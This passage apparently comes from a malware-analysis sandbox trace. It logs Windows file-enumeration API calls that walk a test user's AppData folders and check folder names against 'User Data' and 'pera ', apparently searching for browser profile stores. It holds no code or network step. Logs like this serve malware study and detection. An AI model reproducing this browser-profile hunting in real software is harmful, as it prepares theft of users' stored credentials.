ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x927455b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x927455b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.291] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.291] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.291] lstrlenW (lpString=0x0) returned 0 [0264.291] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x927455b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x927455b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x927455b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.291] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9634ec10, ftCreationTime.dwHighDateTime=0x1d8a225, ftLastAccessTime.dwLowDateTime=0x8d5925a0, ftLastAccessTime.dwHighDateTime=0x1d8a448, ftLastWriteTime.dwLowDateTime=0x8d5925a0, ftLastWriteTime.dwHighDateTime=0x1d8a448, nFileSizeHigh=0x0, nFileSizeLow=0xfd73, dwReserved0=0x0, dwReserved1=0x0, cFileName="mDMTm6uNBDahEGLt.flv", cAlternateFileName="MDMTM6~1.FLV")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5e198f80, ftCreationTime.dwHighDateTime=0x1d8a30f, ftLastAccessTime.dwLowDateTime=0xb584ff90, ftLastAccessTime.dwHighDateTime=0x1d8a53d, ftLastWriteTime.dwLowDateTime=0xb584ff90, ftLastWriteTime.dwHighDateTime=0x1d8a53d, nFileSizeHigh=0x0, nFileSizeLow=0xb763, dwReserved0=0x0, dwReserved1=0x0, cFileName="mUgrWmBsRBU1ru.png", cAlternateFileName="MUGRWM~1.PNG")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe0a65c0, ftCreationTime.dwHighDateTime=0x1d8a24f, ftLastAccessTime.dwLowDateTime=0xe16b9d00, ftLastAccessTime.dwHighDateTime=0x1d8a581, ftLastWriteTime.dwLowDateTime=0xe16b9d00, ftLastWriteTime.dwHighDateTime=0x1d8a581, nFileSizeHigh=0x0, nFileSizeLow=0x10027, dwReserved0=0x0, dwReserved1=0x0, cFileName="nkoRmmltoN2e.swf", cAlternateFileName="NKORMM~1.SWF")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48ee82d0, ftCreationTime.dwHighDateTime=0x1d8a44c, ftLastAccessTime.dwLowDateTime=0x99983640, ftLastAccessTime.dwHighDateTime=0x1d8a591, ftLastWriteTime.dwLowDateTime=0x99983640, ftLastWriteTime.dwHighDateTime=0x1d8a591, nFileSizeHigh=0x0, nFileSizeLow=0x16881, dwReserved0=0x0, dwReserved1=0x0, cFileName="o-VeZRB2_HaQI5yU.m4a", cAlternateFileName="O-VEZR~1.M4A")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15f24b10, ftCreationTime.dwHighDateTime=0x1d89a19, ftLastAccessTime.dwLowDateTime=0x3bdf7a50, ftLastAccessTime.dwHighDateTime=0x1d8a66c, ftLastWriteTime.dwLowDateTime=0x3bdf7a50, ftLastWriteTime.dwHighDateTime=0x1d8a66c, nFileSizeHigh=0x0, nFileSizeLow=0x15a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="oF2z.mp3", cAlternateFileName="")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28adc140, ftCreationTime.dwHighDateTime=0x1d8a2f6, ftLastAccessTime.dwLowDateTime=0x855cb9d0, ftLastAccessTime.dwHighDateTime=0x1d8a546, ftLastWriteTime.dwLowDateTime=0x855cb9d0, ftLastWriteTime.dwHighDateTime=0x1d8a546, nFileSizeHigh=0x0, nFileSizeLow=0x5641, dwReserved0=0x0, dwReserved1=0x0, cFileName="Os uIvBt.mp4", cAlternateFileName="OSUIVB~1.MP4")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xf770f620, ftCreationTime.dwHighDateTime=0x1d0cb97, ftLastAccessTime.dwLowDateTime=0x3d78b2a0, ftLastAccessTime.dwHighDateTime=0x1d0cc4e, ftLastWriteTime.dwLowDateTime=0xf770f620, ftLastWriteTime.dwHighDateTime=0x1d0cb97, nFileSizeHigh=0x0, nFileSizeLow=0x318b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose00000.exe", cAlternateFileName="")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd88e3160, ftCreationTime.dwHighDateTime=0x1d89ebb, ftLastAccessTime.dwLowDateTime=0x3fb33720, ftLastAccessTime.dwHighDateTime=0x1d8a586, ftLastWriteTime.dwLowDateTime=0x3fb33720, ftLastWriteTime.dwHighDateTime=0x1d8a586, nFileSizeHigh=0x0, nFileSizeLow=0xd556, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUG muHZT_5fM.flv", cAlternateFileName="OUGMUH~1.FLV")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24d69600, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x24d69600, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x50833060, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x8dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q9IATRKPRH-20220803-0521.log", cAlternateFileName="Q9IATR~1.LOG")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe4a68f80, ftCreationTime.dwHighDateTime=0x1d8a48b, ftLastAccessTime.dwLowDateTime=0x10f3bea0, ftLastAccessTime.dwHighDateTime=0x1d8a5db, ftLastWriteTime.dwLowDateTime=0x10f3bea0, ftLastWriteTime.dwHighDateTime=0x1d8a5db, nFileSizeHigh=0x0, nFileSizeLow=0x9ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="QJL5z-.wav", cAlternateFileName="")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d4a3e00, ftCreationTime.dwHighDateTime=0x1d8a4f7, ftLastAccessTime.dwLowDateTime=0x359a6520, ftLastAccessTime.dwHighDateTime=0x1d8a5ee, ftLastWriteTime.dwLowDateTime=0x359a6520, ftLastWriteTime.dwHighDateTime=0x1d8a5ee, nFileSizeHigh=0x0, nFileSizeLow=0x1945, dwReserved0=0x0, dwReserved1=0x0, cFileName="QwHlIM2MZF9-YRJdL.mp4", cAlternateFileName="QWHLIM~1.MP4")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad37cb40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xad37cb40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x5a2f7500, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x44f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupExe(20220803052526334).log", cAlternateFileName="SETUPE~1.LOG")) returned 1 [0264.291] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6aca01e0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x6aca01e0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x6aca01e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1 [0264.291] lstrcmpW (lpString1="WPDNSE", lpString2="User Data") returned 1 [0264.292] StrStrW (lpFirst="WPDNSE", lpSrch="pera ") returned 0x0 [0264.292] lstrlenW (lpString=0x0) returned 0 [0264.292] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp") returned 37 [0264.292] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WPDNSE\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\wpdnse\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6aca01e0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x6aca01e0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x6aca01e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.398] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.398] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.398] lstrlenW (lpString=0x0) returned 0 [0264.398] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6aca01e0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x6aca01e0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x6aca01e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.398] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.398] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.398] lstrlenW (lpString=0x0) returned 0 [0264.398] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6aca01e0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x6aca01e0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x6aca01e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.398] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0x992af670, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x992af670, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x992af670, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF223D2CC14A130E9B.TMP", cAlternateFileName="~DF223~1.TMP")) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0x98d544f0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x98d544f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98d544f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF5267B91E92BDD8AA.TMP", cAlternateFileName="~DF526~1.TMP")) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x98d544f0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x98d544f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98d544f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF5BD045B308D57945.TMP", cAlternateFileName="~DF5BD~1.TMP")) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x992af670, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x992af670, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x992af670, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DF8F326D31F76679F8.TMP", cAlternateFileName="~DF8F3~1.TMP")) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0x92fc0410, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x92fc0410, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x92fc0410, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFB178C43B6CB3B7B0.TMP", cAlternateFileName="~DFB17~1.TMP")) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0x92f9a2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x92f9a2b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x92f9a2b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFF872E85B8C0E3F1C.TMP", cAlternateFileName="~DFF87~1.TMP")) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0x92f9a2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x92f9a2b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x92f9a2b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFF872E85B8C0E3F1C.TMP", cAlternateFileName="~DFF87~1.TMP")) returned 0 [0264.399] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.399] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79dbc710, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79dbc710, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79dbc710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0264.400] lstrcmpW (lpString1="Temporary Internet Files", lpString2="User Data") returned -1 [0264.400] StrStrW (lpFirst="Temporary Internet Files", lpSrch="pera ") returned 0x0 [0264.400] lstrlenW (lpString=0x0) returned 0 [0264.400] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.400] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temporary Internet Files\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temporary internet files\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2120, ftCreationTime.dwLowDateTime=0x92f9a2b0, ftCreationTime.dwHighDateTime=0x1d8a744, ftLastAccessTime.dwLowDateTime=0x92f9a2b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x92f9a2b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="~DFF872E85B8C0E3F1C.TMP", cAlternateFileName="\x05")) returned 0xffffffff [0264.400] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0264.400] lstrcmpW (lpString1="VirtualStore", lpString2="User Data") returned 1 [0264.400] StrStrW (lpFirst="VirtualStore", lpSrch="pera ") returned 0x0 [0264.400] lstrlenW (lpString=0x0) returned 0 [0264.400] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 32 [0264.400] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\VirtualStore\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\virtualstore\\*"), lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca440 [0264.401] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.401] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.401] lstrlenW (lpString=0x0) returned 0 [0264.401] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.401] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.401] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.401] lstrlenW (lpString=0x0) returned 0 [0264.401] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0264.401] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.402] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7b85dd30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7b85dd30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7b85dd30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0264.402] FindClose (in: hFindFile=0x6ca480 | out: hFindFile=0x6ca480) returned 1 [0264.402] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\*"), lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x96360130, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96360130, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x6ca480 [0264.426] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.427] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.427] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x96360130, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96360130, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1 [0264.431] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.431] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.431] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4aece6b0, ftCreationTime.dwHighDateTime=0x1d8981e, ftLastAccessTime.dwLowDateTime=0x46067ab0, ftLastAccessTime.dwHighDateTime=0x1d8a423, ftLastWriteTime.dwLowDateTime=0x46067ab0, ftLastWriteTime.dwHighDateTime=0x1d8a423, nFileSizeHigh=0x0, nFileSizeLow=0x70dc, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="2GOz_-.pdf", cAlternateFileName="")) returned 1 [0264.431] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x23c1bfe0, ftCreationTime.dwHighDateTime=0x1d89916, ftLastAccessTime.dwLowDateTime=0xa428d6c0, ftLastAccessTime.dwHighDateTime=0x1d89aa9, ftLastWriteTime.dwLowDateTime=0xa428d6c0, ftLastWriteTime.dwHighDateTime=0x1d89aa9, nFileSizeHigh=0x0, nFileSizeLow=0xbb28, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="38ife5sgHT.doc", cAlternateFileName="38IFE5~1.DOC")) returned 1 [0264.431] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1772e50, ftCreationTime.dwHighDateTime=0x1d89977, ftLastAccessTime.dwLowDateTime=0xbca31800, ftLastAccessTime.dwHighDateTime=0x1d8a5ad, ftLastWriteTime.dwLowDateTime=0xbca31800, ftLastWriteTime.dwHighDateTime=0x1d8a5ad, nFileSizeHigh=0x0, nFileSizeLow=0x53df, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="6GHIHgRuMo57L19IYwi.gif", cAlternateFileName="6GHIHG~1.GIF")) returned 1 [0264.431] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc2b39630, ftCreationTime.dwHighDateTime=0x1d89765, ftLastAccessTime.dwLowDateTime=0xcb491380, ftLastAccessTime.dwHighDateTime=0x1d8a4a6, ftLastWriteTime.dwLowDateTime=0xcb491380, ftLastWriteTime.dwHighDateTime=0x1d8a4a6, nFileSizeHigh=0x0, nFileSizeLow=0x14640, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="6Q1W9eQdcFWm28.bmp", cAlternateFileName="6Q1W9E~1.BMP")) returned 1 [0264.431] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x37b8b200, ftCreationTime.dwHighDateTime=0x1d8a411, ftLastAccessTime.dwLowDateTime=0x1f9327e0, ftLastAccessTime.dwHighDateTime=0x1d8a47b, ftLastWriteTime.dwLowDateTime=0x1f9327e0, ftLastWriteTime.dwHighDateTime=0x1d8a47b, nFileSizeHigh=0x0, nFileSizeLow=0x7b74, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="BnEIELlOy.pptx", cAlternateFileName="BNEIEL~1.PPT")) returned 1 [0264.431] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4ed0c10, ftCreationTime.dwHighDateTime=0x1d8a086, ftLastAccessTime.dwLowDateTime=0x1f609560, ftLastAccessTime.dwHighDateTime=0x1d8a2ea, ftLastWriteTime.dwLowDateTime=0x1f609560, ftLastWriteTime.dwHighDateTime=0x1d8a2ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c4d, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="DuGMOmikP gPekMX.m4a", cAlternateFileName="DUGMOM~1.M4A")) returned 1 [0264.432] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79778ee0, ftCreationTime.dwHighDateTime=0x1d8a543, ftLastAccessTime.dwLowDateTime=0x43594df0, ftLastAccessTime.dwHighDateTime=0x1d8a645, ftLastWriteTime.dwLowDateTime=0x43594df0, ftLastWriteTime.dwHighDateTime=0x1d8a645, nFileSizeHigh=0x0, nFileSizeLow=0x15aa7, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="FGoqaS5X-biv-TQUcR.mp3", cAlternateFileName="FGOQAS~1.MP3")) returned 1 [0264.432] FindNextFileW (in: 